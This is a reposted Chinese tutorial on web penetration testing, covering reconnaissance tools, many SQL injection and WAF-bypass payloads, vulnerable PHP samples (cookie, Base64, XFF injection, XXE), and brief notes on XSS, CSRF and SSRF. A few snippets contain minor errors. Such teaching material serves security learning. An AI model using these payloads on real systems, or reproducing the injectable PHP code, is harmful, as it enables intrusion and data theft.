网络安全

了解最新公司动态及行业资讯

当前位置:首页>新闻资讯>网络安全
全部 12 公司动态 2 网络安全 10

【学习笔记】常见的Web安全攻防实用总结

时间:2021-01-20   访问量:2173
01
信息收集


信息收集是渗透测试全过程的第一步,针对渗透目标进行最大程度的信息收集,遵随“知己知彼,百战不殆”的原则,先了解目标在利用目标。


收集域名信息

收集域名信息的种类包括:子域名收集、Whois注册信息、备案信息、敏感信息收集、敏感目录探测、端口信息探测、系统服务探测、Web指纹探测、CDN排查/真实IP……等。


a. 子域名收集

子域名是所谓的二级域名,通常一个主站的防护是严格的,但同时也会存在更多的二级子域名且可能防护简单。

子域名的收集有很多种方法,最简单的是使用Google-Hack搜索语法发现子域名,更多的使用工具和脚本对子域名进行“字典爆破”。


子域名爆破工具

SubDomainsBrute (Python开发,依赖:dnspython):采用字典爆破的方式,对目标域名的子域名二级进行字典爆破

Layer子域名挖掘机:采用可视窗口的傻瓜式


搜索引擎子域名枚举

在Google搜索引擎中使用site:baidu.com语法枚举子域名

法律关注

域名爆破属于法律灰色地带,如果域名官方明示“禁止扫描器”则需注意。


b. Whois信息/注册信息

Whois是一个标准的互联网协议,用来收集网络注册信息、注册域名、IP地址……

Whois有很多的线上平台:爱站、站长之家等

同时国内上线的网站和服务都会进行ICP备案,可以通过“beianbeian.com”查询备案的网站;国家规定备案编号要显示在页面上(普遍在页脚处)


c. 敏感信息收集

敏感信息的收集通常是通过Google等众多搜索引擎发现。


d. 敏感目录探测

[工具]

DirBuster:字典扫描探测目录

御剑目录扫描珍藏版:后台目录字典扫描

e. 端口信息/服务信息探测

[工具]

Nmap:强大的扫描器,支持端口探测、服务探测

御剑高速端口扫描:利用端口尝试连接的端口探测


f. 服务探测/Web指纹

[工具]

Nmap:一代神器

*san:针对特定的CMS扫描器(例如:WPscan)

[在线]

云悉WEB指纹:www.yunsee.cn

Wapplayzer(浏览器插件)


g. CDN的绕过和检验

[检验方法]

使用多地Ping验证IP段的方式来检验CDN

例如:www.17ce.com(在线多地区ping目标)

[绕过方法]

邮箱服务器IP(邮箱服务器不一定使用CDN)

其它同域站点(不一定对所有站点设置CDN)

境外访问(CDN的设置有针对)

查看历年的域名解析记录



02
SqlMap的简单运用


sqlmap实战(2019-10-19 01:12)



03
Burp的简单运用


Burp初体验



04
Nmap的简单运用


Linux kali信息探测以及 Nmap 初体验



05
SQL注入简要认识


1、SQL注入过程知识的摘要

SQL 注入漏洞浅研究学习

SQL手工注入学习


2、SQL注入行为剖析


a. UNION联合注入(回显)

[注入点]

1www.xx.com/?id=1 and '1'='1 (字符型注入)
2


[源码SQL拼接]

1+----+------+------+
2| id | name | pass |
3+----+------+------+
4| 1 | admin| 1234 |
5+----+------+------+
6| 2 | root | root |
7+----+------+------+
8
9select * form users where id='$id';


[union联合注入]

1www.xx.com/?id=1 order by 1,2,3 => 判断字段数
2
3www.xx.com/?id=1 union select 1,2,3 => union联合注入
4
5www.xx.com/?id=1 union select 1,database(),3


b. boolean布尔注入(回显)

通过一些sql函数返回的布尔值进行判断枚举

[注入点]

1www.xx.com/?id=1 and '1'='1 (字符型注入)
2


[源码SQL拼接]

1+----+------+------+
2| id | name | pass |
3+----+------+------+
4| 1 | admin| 1234 |
5+----+------+------+
6| 2 | root | root |
7+----+------+------+
8
9select * form users where id='$id';


[布尔注入举例]

11' and substr(database(),1,1)='t'
2


c. 报错注入

[updatexml()报错注入]

11' and updatexml(1,concat(0x7e,(select user()),0x7e),3)


d. 时间注入(盲注)

时间注入的逻辑是通过逻辑与非的方式设置一个时间函数(延迟函数)通过观察页面的响应来确定是否构成正确的语句.

简单而言,就是在页面无回显的情况下利用时间延迟的方式佐证布尔逻辑是否成立.

[函数学习]

1sleep():时间延迟/等待函数
2
3if('条件','成立','不成立')
4
5benchmark():1' and updatexml(1,concat(0x7e,(select user()),0x7e),3)
6


[sleep时间盲注]

11' and if(substr(database(),1,1)='t',sleep(5),1)
2


e. 堆叠查询注入

堆叠查询可以执行多条SQL语句以分号分隔,堆叠注入利用该特点,在第二个SQL语句中构造自己要执行的语句;当第一条执行失败,就会执行第二个堆叠的语句进行查询。

1'; select databases()


f. 二次注入


g. 宽字节注入


h. COOKIE注入

在URL中没有发现参数,Cookie中存在ID=1;类推

[Cookie注入的PHP复现]

 1$id = $_COOKIE['id'];
2    $value = '1';
3    setcookie("id","$value")
4    $conn = mysqli_connect("localhost","root","root","test");
5    if(mysqli_connect_error()){
6        echo "连接失败" . mysqli_error($con) ;
7    }
8    $result = mysqli_query($conn,"select * from users where id=$id ");
9    if(!$result){
10        print("Error:%s ",mysqli_error($conn));
11        exit();
12    }
13    $row = mysqli_fetch_array($result);
14    echo $row{'name'} ."+"$row{'pass'};
15    echo "<br>";


i. Base64注入

ID参数经过Base64编码,在后台被解析。

[Base64注入的PHP复现]

1//调用base64_decode()对参数进行base64解码
2    $id = base64_decode($_GET['id']);
3    $conn = mysqli_connect("localhost","root","root","test");
4    $sql = "select * from users where id=$id";
5    $result = mysqli_query($sql);
6    $row = mysqli_fetch_array($result);
7    echo $row{'name'} ."+"$row{'pass'};
8    echo "<br>";


j. XFF注入攻击

HTTP数据包中有一个“X-Forwarded-for”头部参数简称XFF头;它代表客户端真实的IP,可以通过伪造XFF头来伪造IP。

1xff: 127.0.0.1 'union select 1,2,3 --+


[XFF注入PHP复现]

 1$conn = mysqli_connect("localhost","root","root","test");
2    if(mysqli_connect_error()){
3        echo "连接失败" . mysqli_error($con) ;
4    }
5    if(getenv("HTTP_CLIENT_IP")){
6            $ip = getenv("HTTP_CLIENT_IP");
7    } else if(getenv("HTTP_X_FORWARDED_FOR")) {
8            $ip = getenv("HTTP_X_FORWARDED_FOR");
9    } else if(getenv("REMOTE_ADDR")){
10        $ip = getenv("REMOTE_ADDR");
11    } else {
12            $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
13    }
14    $result = mysqli_query($conn,"select * from users where ip=$ip ");
15    $row = mysqli_fetch_array($result);
16    echo $row{'name'} ."+"$row{'pass'};
17    echo "<br>";


3、SQL注入绕过


a. 大小写绕过

web应用对用户输入提交的内容进行敏感关键字扫描一旦符合则拦截当前的用户行为请求;往往在后台的黑名单中会忽视大小写问题,而sql是不区分大小写的。

安全建议:将用户输入的内容统一大小写进行关键字比对(不改变原来的字符串内容)


b. 双写绕过

当web应用对敏感关键字进行拦截删除,将敏感关键字从字符串中删除;攻击者构造类似“uniunionon”这样的字符串,经过敏感关键字删除后就会变成“union”,这样子就会绕过了。

安全建议:采用多重的敏感关键字拦截,或者说对发现存在敏感字的请求全部拦截取消当前的访问。


c. 全编码绕过注入

由于系统会自动对URL进行一次URL解码,所以只进行一次URL编码是不会有作用的,需要进行两次URL编码。

d. 内联注释绕过注入

1id=-1'/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#


e. 绕过注释符号注入

1id=1' union select 1,2,3||'1


最后的or '1闭合查询语句的最后的单引号,或者:

1id=1' union select 1,2,'3


f. 注释/括号绕过注入

使用‘/**/’代替空格或使用圆括号组合


g. 十六进制绕过注入

使用十六进制的方式编码转换引号和括号或其他符号

h. 绕过逗号注入

使用from、join、like、offset

[from]

1select substr(database() from 1 for 1);
2
3select mid(database() from 1 for 1);


[join]

1union select 1,2 <==> union select * from (select 1)a join (select 2)b



06
XSS跨站脚本攻击


XSS基础学习

XSS的构造技巧



07
CSRF跨站请求伪造


合法的使用A用户进行登录等操作,利用CSRF漏洞伪造成B用户执行权限操作。

CSRF漏洞原理浅谈



08
SSRF服务器请求伪造


SSRF由攻击者构造请求并由服务器发起,SSRF的目的是外网无法访问的内部系统(因为内部系统是和服务器并联的但外网无法直接访问,但可以构造请求并有服务器发送请求给内部系统)

SSRF学习



09
文件上传


文件上传解析漏洞

Upload-labs 测试笔记



10
XEE(XML外部实体注入)

XML用于标记电子文件使其具有结构性的标记语言;用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

 1# XML声明部
2<?xml version='1.0'>
3# 文档类型定义DTD
4<!DOCTYPE note[
5            <!ELEMENT note (to,form,heading,body)>
6        <!ELEMENT to (#PCDATA)>
7        <!ELEMENT from (#PCDATA)>
8        <!ELEMENT heading (#PCDATA)>
9        <!ELEMENT body (#PCDATA)>
10    ]>
11# 文档元素
12<note>
13    <to>Tove</to>
14    <from>Jani</from>
15    <heading>Reminder</heading>
16    <body>Don’t forget me this weekend</body>
17</note>


文档类型定义DTD

内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>

引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM "filename">

在DTD中进行实体声明时,将使用ENTTITY关键字声明,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。

内部声明实体格式:<!DOCTYPE 实体名称 'valud'>

外部引用实体格式:<!DOCTYPE 实体名称 SYSTEM 'url'>

 1<?php
2
3    $xmlfile = file_get_contents('php://input');
4        // file_get_contents():获取客户端输入的内容
5    $dom = new DOMDocument();
6        // new DOMDocument():初始化XML解析器
7    $dom->loadXML($xmlfile);
8        // loadXML():加载客户端输入的xml内容
9    $xml = simplexml_import_dom($dom);
10        // simplexml_import_dom():获取XML文档节点
11    $xxe = $xml->xxe; 
12    $str = "$xxe  ";
13    echo $str;
14
15?>



11
WAF简要认知


WAF(Web应用防火墙);通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护。


1、WAF分类

软件型WAF:以软件形式安装在所保护的服务器上,可以接触服务器上的文件,继而直接对服务器上的文件进行检测,发现是否有WebShell、文件变动、目录变动……

硬件型WAF:以硬件方式部署在网络链路中;可以拦截、检测串联链路上服务器的恶意流量、监听并记录。

云WAF:一种反向代理的形式工作;通过配置NS记录(域名服务器记录)或CNAME记录;使对网站的请求报文有限经过云端的WAF主机,在被云WAF主机进行严格的过滤后将安全可靠的请求报文转发给实际的WEB应用服务器。自带防护功能的CDN。一般只要发现背后的服务器IP就能绕过云WAF。

内置WAF:Web应用服务器的内置WAF泛指Web应用和服务器对请求的安全过滤检测;普遍的嵌入在Web服务的代码之中。


2、WAF鉴别

自动判断:方法诸多

手工判断:在相应的网站URL后面加上基础的注入、xss等测试语句,并且要求无WAF也报错的(最好是给一个不存在的参数进行测试);测试参数触发WAF的防护机制,通过响应的报错页面判断WAF种类。


3、WAF绕过

大小写混合

URL编码:对URL请求进行一次或两次URL编码

替换关键字:WAF一般是删除请求中的关键敏感词,这里可以采用双写和其他方式绕过

使用注释:SQL注释注入绕过

多参数请求拆分

注入参数到Cookie中:一般WAF只检测GET/POST




链接:https://www.cnblogs.com/wangyuyang1016/p/13467424.html#_caption_0

如有侵权请联系删除



上一篇:从原理到实战之对XSS的一次深入分析

下一篇:【渗透测试要点】MySQL攻击面和提权总结